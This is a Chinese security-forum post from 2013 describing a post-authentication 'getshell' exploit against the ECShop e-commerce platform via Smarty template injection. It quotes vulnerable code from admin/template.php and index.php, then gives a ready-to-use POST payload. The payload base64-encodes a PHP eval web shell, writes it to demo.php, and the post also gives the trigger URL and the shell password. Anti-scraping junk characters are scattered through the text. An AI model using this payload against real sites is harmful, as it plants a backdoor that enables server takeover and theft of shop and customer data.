找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2428|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. W" y* g- T2 o" F: t% \+ d; h8 ~2 V7 U7 V! w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ o6 f& }) O$ F+ T8 M5 f2 [但是ecshop似乎不支持{php}{/php}这个标签来执行php代码8 r8 H0 A. |9 o( z0 t+ Y" w! P
admin/template.php
$ Q- T) Q! d2 c. |0 @4 g
3 Q: o' t1 A# ?1 ~6 ]7 O1 if ($_REQUEST['act'] == 'update_library') 1 h. G# Y& Y6 d2 j+ K
3 e; Q# B1 ^1 m* V9 \6 h
2   
& Y& J, [8 k4 \& D  s8 x- Q! Z5 P3 `3 I% T: h8 s
3 { . Z0 q. b* w# m7 j; V5 k) B

4 C3 ^9 s, Z+ N4     check_authz_json('library_manage');   y- z, H3 V4 F9 W+ Q$ b! e& @

' m2 i: L( r: N0 W% \6 M( r5   
% m: e- |4 A) X7 [0 g
/ Q3 e1 [0 O5 _2 T: R3 t6     $html = stripslashes(json_str_iconv($_POST['html'])); ' x2 L& R4 ]3 l8 V' p9 F' H' P

6 N; g1 i" D* R7   $ h6 u9 m0 y2 b2 h

! M6 i+ @& Q, v8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 t: D+ S) V6 q' K% C+ l

. G* x9 V8 `+ ?% U- {9   
( [7 y2 H7 O' T4 G
" _+ J; |  c8 T" v- ^10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 . E) ^% I4 G4 s! V- \6 z. l, J6 k
2 n/ H8 }4 e2 [8 ]; _! [/ r: s
11   * _, b9 R( _$ r  X+ f+ v% _% @

( X9 z: ?6 l  v/ E0 J5 D12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
; _4 q" e2 \; F$ Q/ L/ ~" b- ^9 W4 y% S& ^: }: T( \5 p
13   
% K2 ?& h5 a6 W9 H) t
( U5 Z/ k8 F4 H* S14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
  H$ r' s9 X5 S# b: i$ S+ m8 b" U& Q! F* \* H  p' s* d
15     {
% N8 ^+ R2 f4 Z7 c4 m0 E# s0 r& J# p+ Y6 [; A7 w
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 5 V# V4 q: v$ h4 t0 @$ S1 x
' V1 F9 ]0 \+ \4 [
17         make_json_result('', $_LANG['update_lib_success']);
& t3 y1 H8 B  v- \4 N& l8 h, U# W7 Z" Q( [+ h- Y
18     } . m$ W/ O& I2 o: b
8 c% ~6 B$ T2 }; p% Y7 T4 v& O( Z
19     else 1 j; [7 _* E" u7 x% S9 i
. H  Y+ d1 O- D. |- k, s6 L! o
20     {
+ z: g( Z5 o' A! B( B! A1 Q2 F' @" `5 T) L- B9 S
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); % u2 H/ h5 Q8 D
  ]# F9 z# s$ ]8 `: b
22     }
6 _. G4 ~, C7 ~  e# w+ u5 \9 C7 _- g6 i/ |% `& y; b% N6 G( f
23 } ' i6 ^% ~& O3 V& K$ E
9 R5 g! w8 @( q! d+ E8 v$ h+ Z9 l2 d
那么找个比较方便调用了模板的文件0 ~( u8 Q# K1 Y- U5 |
index.php
2 s$ r. @0 u8 [/ r: W- D* H+ t6 N$ V% c+ C' u; A
1 if ($act == 'cat_rec')
9 e2 m6 s7 n0 @1 @; V
2 ]! n- q1 s# [) [. \) w& ~0 o* w5 ~: w1 [2   3 p7 n8 Y  Z6 [5 a- w7 p8 M; a

8 T- N0 J7 K7 R2 X. P3 H3 {
7 o* c, v( }) S& \, _5 ~0 C
3 i( d& Z' \/ Y1 ^6 l4   
; f3 H- D$ o$ [0 S; w2 ^. X! z* d7 {( U/ c( o7 R" W
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
/ h/ H  c. B7 G$ E, n. w* n4 _7 ~' W7 {  h  w
6   1 t& i" k0 X  j; R: {4 L
1 r" u. x# f& [6 K4 Z" E1 ~. Q
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 T7 b) u$ `2 M, u4 d7 b0 q2 _  k$ f7 g: f) u, d
8   
* a+ e$ o; ~% V0 K, q4 ]" ~) x! W( B0 `" h( J
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 1 V9 C2 n+ Q. Q, A$ u
' B) Q. g+ n# w
10   ) b# S9 Y$ F& v3 M6 H9 j2 w; d3 B
* K% r! w. G3 s# ~: C, G! D/ J
11     include_once('includes/cls_json.php'); & ]" K1 w8 @, y& ^  r5 P) i
. O3 n. E/ @5 ]& W
12   7 r* l9 [# \5 b6 B

2 t3 d" S. I7 e% @) X6 {8 V8 E13     $json = new JSON;
  t9 ?" T- n+ i$ Y' j+ S" T2 J" w' W# E, q5 X( M
14   
* l- H! ~+ F- N2 `* U" v
7 s( O+ w1 m$ A" C; L4 b' V( @15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ R# G% Z7 x. o, B% b5 Q
0 t6 {- M- d0 f7 @" b- v5 l16   2 u: \- d8 D) |  K
, J+ R, z; K9 z0 I3 T
17     $children = get_children($cat_id);
0 v( i8 Z2 J, t5 I* B# ]. J- d' \+ E% I( R. m6 Y+ O
18   7 v( Q: l  E/ h$ c0 b
* {7 [2 g+ T% j* H" t& @' {
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 5 P( \5 x8 K9 S. P

. c" {* L8 B" k8 s# k% T20   9 \, \8 O# G" F  A5 v

& [  B, r- X2 n) g6 ~21     $smarty->assign('cat_rec_sign', 1);
, i1 t7 ^% ^; I! G
, }" ], n, [  K  D; l5 P22   6 B2 k- D* J* Q

" q8 ]3 k5 n4 Q( m3 `4 E! l8 c7 s23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best , R* p1 S7 h1 O$ T  s! F# ~
8 A: `, n: h) H9 U) ~* ]+ X; S
24   
% j& z: w, k# z
" @/ V/ m- x. @- }2 |# D25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 3 P3 _$ L! t8 {* z

7 U1 K1 M+ L1 n! P26   1 C( K3 {0 {- S& N9 g" d6 F1 n3 M

/ m: j9 z% D# U. `- H! C27         echo $rec_array[$rec_type]; 6 J) P. z4 T  {3 v- N

, g" ?6 D: d+ \4 F28   
) m$ ?  d0 L- ]" R, S
  Q4 Z5 [: A1 k, |/ V. i6 S5 R29     die($json->encode($result)); ; C( i# s" E; r( k; u2 [% r

4 U# z7 h- S3 l30   
& i& @/ |2 t% M4 c0 O8 _5 M# |* M! K* u1 s1 R& N, s
31 }
8 m/ ~  t' f9 d, M" j8 r; {! l5 h  L( P' H" e) O2 a9 R
那么就有利用方法了( w9 l1 Z6 ]0 D) {) {
post包到http://localhost/ec/admin/template.php?act=update_library
" D% ]1 n  F2 i+ f& gPost内容:
8 `! e$ T: `+ A3 F# ]0 s: [! X2 y) g1 f! D, E. f+ g6 m8 C4 i

! w* n1 O. R' K# B; ]7 s! t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; {% h4 n& N+ z% w3 n& y5 z2 _

/ g1 r9 T! L0 Z- q% T然后访问http://localhost/ec/index.php?act=cat_rec& w$ K) c. A% S( @
; \9 B0 _) K8 d5 q. Y
shel地址:http://localhost/ec/demo.php
, q& ~6 g" |; [1 ?; l; u7 n; a密码c
: i5 e! r" Q1 d$ o- A" e7 L& X. a* H) k) m" a( P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表